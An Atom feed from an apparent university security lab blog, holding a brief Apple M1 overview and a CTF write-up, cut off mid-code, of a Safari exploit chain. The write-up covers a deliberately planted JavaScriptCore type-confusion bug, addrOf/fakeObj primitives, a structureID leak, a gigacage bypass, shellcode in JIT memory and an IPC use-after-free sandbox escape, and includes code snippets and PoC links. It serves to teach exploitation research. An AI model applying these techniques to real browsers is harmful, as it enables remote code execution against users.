<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Systems Software and Security Lab</title><link href="https://gts3.org/" rel="alternate"></link><link href="https://gts3.org/feeds/all.atom.xml" rel="self"></link><id>https://gts3.org/</id><updated>2021-01-06T00:00:00+01:00</updated><entry><title>The Apple M1 System on Chip (SoC)</title><link href="https://gts3.org/2021/overview-of-apple-m1-soc.html" rel="alternate"></link><published>2021-01-06T00:00:00+01:00</published><updated>2021-01-06T00:00:00+01:00</updated><author><name>Fan Sang</name></author><id>tag:gts3.org,2021-01-06:/2021/overview-of-apple-m1-soc.html</id><summary type="html">&lt;p&gt;This blog provides an overview of the newly released Apple M1 System on Chip (SoC).&lt;/p&gt;</summary><content type="html">&lt;blockquote&gt;
&lt;p&gt;Small chip. Giant leap.
The Apple M1 System on Chip (SoC) is Apple's first
in-house chip designed specifically for Mac.
It delivers incredible performance, custom technologies,
and revolutionary power efficiency.
In this blog we provide an overview of this new piece of technology,
including the general architecture,
reasons behind the astounding performance,
and security.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;embed src="/blog/apple-m1/apple-m1-overview.pdf" width="100%" height="600px" /&gt;&lt;/p&gt;</content><category term="blog"></category><category term="Hardware"></category><category term="ARM"></category><category term="Apple"></category></entry><entry><title>Hack The Real: An exploitation chain to break the Safari browser</title><link href="https://gts3.org/2019/Real-World-CTF-2019-Safari.html" rel="alternate"></link><published>2019-12-13T00:00:00+01:00</published><updated>2019-12-13T00:00:00+01:00</updated><author><name>Hanqing Zhao</name></author><id>tag:gts3.org,2019-12-13:/2019/Real-World-CTF-2019-Safari.html</id><summary type="html">&lt;p&gt;Exploiting type confusion bugs in latest JSC and escaping the sandbox&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This blog is created with Insu Yun and Wen Xu.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the Real World CTF 2019 final, we designed a guest Safari exploitation (w/ sandbox escape) challenge based on two full-chain Safari exploits we built previously. We leveraged the new JSC structureID entropy mitigation bypass techniques to get RCE in the content process. To escape the sandbox, we formulated some flexible techniques for exploiting UAF bugs in Webkit’s broker IPC.&lt;/p&gt;
&lt;p&gt;We would like to thank &lt;a href="https://www.cc.gatech.edu/~mxu80/"&gt;Meng Xu&lt;/a&gt; for helpful ideas, and all teams in the final for making efforts to solve our challenges.&lt;/p&gt;
&lt;h2&gt;Attacking JavaScriptCore&lt;/h2&gt;
&lt;p&gt;To simulate an attack against the webcontent process, we deliberately introduce a  bug into the JSC. Even it is a runtime bug, we can exploit it by introducing unintended JIT side effects.&lt;/p&gt;
&lt;h3&gt;Analyzing the FastStructureCache&lt;/h3&gt;
&lt;p&gt;We introduce a vulnerable FastPath to enable RegExp's allocation cache, namely, FastStructureCache. The full patch could be found &lt;a href="https://gist.githubusercontent.com/HQ1995/96d8922f915bc44ca794611344324a8f/raw/41d80298dc276d22d1efcc2b63a4ccf93266ed68/patch.diff"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here is the code snippet related to the bug:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;FastStructureCache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JSNonFinalObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Base&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JSNonFinalObject&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Structure&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fastCacheStructure&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fastCacheSizeMax&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fastCacheSizeUsed&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Structure&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;createStructureFastPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VM&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SGlobalObject&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;globalObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JSValue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TypeInfo&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;typeInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ClassInfo&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;classInfo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fastCacheStructure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;fastCacheStructure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Structure&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;fastCacheSizeMax&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fastCacheSizeMax&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// * [1]&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// Later, we will set the correct globalObject and prototype&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;fastCacheStructure&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Structure&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;globalObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;typeInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;classInfo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fastCacheSizeUsed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fastCacheSizeMax&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;Structure&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;return_value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fastCacheStructure&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;fastCacheSizeUsed&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// * [2]&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// set the correct global object and prototype&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;return_value&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setPrototypeWithoutTransition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;return_value&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;setGlobalObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;globalObject&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;fastCacheSizeUsed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;return_value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Structure&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;globalObject&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;typeInfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;classInfo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;protected&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;FastStructureCache&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;VM&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Structure&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;structure&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At [1], we create a cache for the allocation of structures related to RegExp. Although It does not have proper prototypes, we will set it with the corresponding prototype later at [2]. It at least introduces two bugs. First, the type info and class info are never changed. The objects created later will hold incorrect information in its structure. However, I haven't tried to find a way to exploit it. Second, as Figure 1 illustrates, comparing with the normal process in &lt;a href="https://github.com/WebKit/webkit/blob/master/Source/JavaScriptCore/runtime/StructureInlines.h#L39"&gt;Structure::create&lt;/a&gt;, it fails to mark that the object has become a prototype with &lt;code&gt;didBecomePrototype()&lt;/code&gt;.&lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);"
    src="https://i.imgur.com/mAL0biO.png" width = "500"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;Figure 1. Wrongly create the strucures&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;

&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h3&gt;Prelimitary exploitation primitives&lt;/h3&gt;
&lt;p&gt;According to lokihardt's &lt;a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1649"&gt;comments&lt;/a&gt;, JSC doesn't allow native arrays to have Proxy objects as prototypes. However, with this bug, we can break the assumption holding by the JSC.&lt;/p&gt;
&lt;p&gt;As Figure 2 delineates, suppose there is a RegExp has appeared in an native array's protochain. While putting a Proxy object into RegExp's protochain, it will not trigger any conversion to &lt;code&gt;swithToSlowPutArrayStorage&lt;/code&gt;. Thus, we follow the same tricks described by  lokihardt. i.e., introducing unintended side effects by abusing the &lt;code&gt;HasIndexedProperty&lt;/code&gt; IR, causing type confusion in the JSC.&lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);"
    src="https://i.imgur.com/XyDDb5k.png" width = "600"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;Figure 2. JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;We give a code snippert to demonstrate the &lt;code&gt;addrOf&lt;/code&gt; and &lt;code&gt;fakeObj&lt;/code&gt; primitives. After executing the &lt;a href="https://gist.github.com/HQ1995/96d8922f915bc44ca794611344324a8f/raw/049e280021d72b390df923bbda59216af0996fa2/poc.js"&gt;poc&lt;/a&gt;, we can notice the segment fault.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;➜&lt;span class="w"&gt;  &lt;/span&gt;./jsc&lt;span class="w"&gt; &lt;/span&gt;pwn.js
0x00007fa42ebdc240
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="m"&gt;27955&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;segmentation&lt;span class="w"&gt; &lt;/span&gt;fault&lt;span class="w"&gt;  &lt;/span&gt;./jsc&lt;span class="w"&gt; &lt;/span&gt;pwn.js
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Leaking valid structureID&lt;/h3&gt;
&lt;p&gt;Initially, we formulated an approach to leak the strctureID while writing the exploit chains(Actually, there is a team that used the same technique with us). However, there is a &lt;a href="https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf"&gt;talk&lt;/a&gt; at BlackHat-EU proposed a public method against structureID randomization. Another team also used it during the competition. &lt;/p&gt;
&lt;p&gt;The bypass trick based on a simple but effective fact that &lt;strong&gt;not all&lt;/strong&gt; builtin functions and "mechanisms" rely on valid structureIDs. &lt;/p&gt;
&lt;p&gt;One way to utilize this weakness is that abusing &lt;code&gt;Function.prototype.toString.call()&lt;/code&gt; with a special fake object. Let us walk through the entire process.&lt;/p&gt;
&lt;p&gt;Figure 3 illustrates how to leverage it to leak the strcutureID. We need to fake three objects (An object w/o valid structureID, a fake FunctionExecutable object, and a fake UnlinkedFunctionExecutable object), bypassing the &lt;code&gt;isBuiltinFunction&lt;/code&gt; check. In this way, we can leak a valid structureID and a butterfly pointer.&lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);"
    src="https://i.imgur.com/6juvDXa.png" width = "400"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;Figure 3. Leaking the valid structureID. (The blue boxes represent fake object, and the green boxes represent normal objects.)&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;We give a snippet of &lt;a href="https://gist.githubusercontent.com/HQ1995/96d8922f915bc44ca794611344324a8f/raw/41d80298dc276d22d1efcc2b63a4ccf93266ed68/leakid.js"&gt;example code&lt;/a&gt; to show how to leak the structureID:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;➜&lt;span class="w"&gt;  &lt;/span&gt;./jsc&lt;span class="w"&gt; &lt;/span&gt;pwn.js
Structure&lt;span class="w"&gt; &lt;/span&gt;ID:&lt;span class="w"&gt; &lt;/span&gt;8230700009a5e
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Bypassing the gigacage isolation and get code execution&lt;/h2&gt;
&lt;p&gt;Two approaches have been widely used in the community to bypass Webkit's gigacage (an isolated heap mechanism in JSC), i.e., abusing &lt;a href="https://github.com/LinusHenze/WebKit-RegEx-Exploit/blob/master/pwn.js#L176"&gt;WASM's Memory buffer&lt;/a&gt; or &lt;a href="https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html#L128"&gt;Object's butterfly&lt;/a&gt;, because the gigacage does not isolate them.&lt;/p&gt;
&lt;p&gt;By using the OOB read described in the previous section, we can also leak the butterfly of the target object. So it could be much easier if we use the butterfly approach.&lt;/p&gt;
&lt;p&gt;Finally, we overwrite a jitted function's memory into shellcodes to get code execution.&lt;/p&gt;
&lt;p&gt;Furthermore, you can find a copy of the binary to do your examination from &lt;a href="https://github.com/5lipper/ctf/tree/master/rwctf19-final/FastStructureCache"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);"
    src="https://i.imgur.com/lenFyfL.png" width = "600"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;Figure 4. Bypassing gigacage isolation using a fake object on butterfly. (The blue boxes represent fake objects, and the green boxes represent real objects/memory.)&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;Reviving the bug: Escaping the sandbox through Core-IPC&lt;/h2&gt;
&lt;h3&gt;Webkit broker IPC&lt;/h3&gt;
&lt;p&gt;Because of the modern browsers' multithreading model and sandbox model, the broker IPC has become one of the most powerful attack surfaces for sandbox escape. e.g., the successful demonstration against Chrome Desktop in 2018.&lt;/p&gt;
&lt;p&gt;As Figure 5 indicates, Webkit's broker IPC server consists of several message proxies. The WebProcesses and the UI-Process can communicate through IPC.&lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);"
    src="https://i.imgur.com/TTOj4NS.png" width = "400"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;Figure 5. The communications between web process and other processes. They have two sides, and can be syncoronous or asyncronous.&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h3&gt;An intro of a Use-After-Free bug in the UI-Process&lt;/h3&gt;
&lt;p&gt;We introduce a deliberate bug by reverting a &lt;a href="https://gist.github.com/HQ1995/96d8922f915bc44ca794611344324a8f/raw/3b605cbb50324ad5f45a651ad9fe93145c03a412/sandbox.diff"&gt;patch&lt;/a&gt; for a bug exploited by us a few months ago. You can check the patch at here.&lt;/p&gt;
&lt;p&gt;We eliminate the contextID check in the &lt;code&gt;VideoFullScreenMessageProxy::setHasVideo&lt;/code&gt; to make the bug could be easily triggered by sending this message multiple times. As Figure 6 indicates, every contextID is associated with a series of objects. The references are maintained by the &lt;code&gt;WTF::HashMap&lt;/code&gt;. According to its implementation, the index "0" has a special meaning that the bucket is empty. However, we eliminate the check, and we can pass a zero contextID into it. While putting objects into the hashmap continuously, we could trigger vulnerable rehash behavior. It tries to copy the objects in the old hashmap to the new hashmap. Once the old objects are deallocated, a dangling pointer will appear. &lt;/p&gt;
&lt;center&gt;
    &lt;img style="border-radius: 0.3125em;
    box-shadow: 0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.08);"
    src="https://i.imgur.com/qSJ1K7H.png" width = "5000"&gt;
    &lt;br&gt;
    &lt;div style="color:orange; border-bottom: 1px solid #d9d9d9;
    display: inline-block;
    color: #999;
    padding: 2px;"&gt;&lt;i&gt;Figure 6. Raw pointers considered harmful&lt;/i&gt;&lt;/div&gt;
&lt;/center&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Due to there is a raw pointer in the PlaybackSessionInterface that points to a &lt;code&gt;PlaybackSessionModel&lt;/code&gt; object, the raw pointer will become a dangling pointer when triggering the rehash. Once the &lt;code&gt;VideoFullscreenInterfaceMac&lt;/code&gt; object is deconstructed, the use-after-free will be triggered. &lt;/p&gt;
&lt;p&gt;The UAF could be triggering by sending the following messages to the UI-process.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;VideoFullscreenManagerProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SetHasVideo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Messages&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;VideoFullscreenManagerProxy&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;SetHasVideo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;-3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
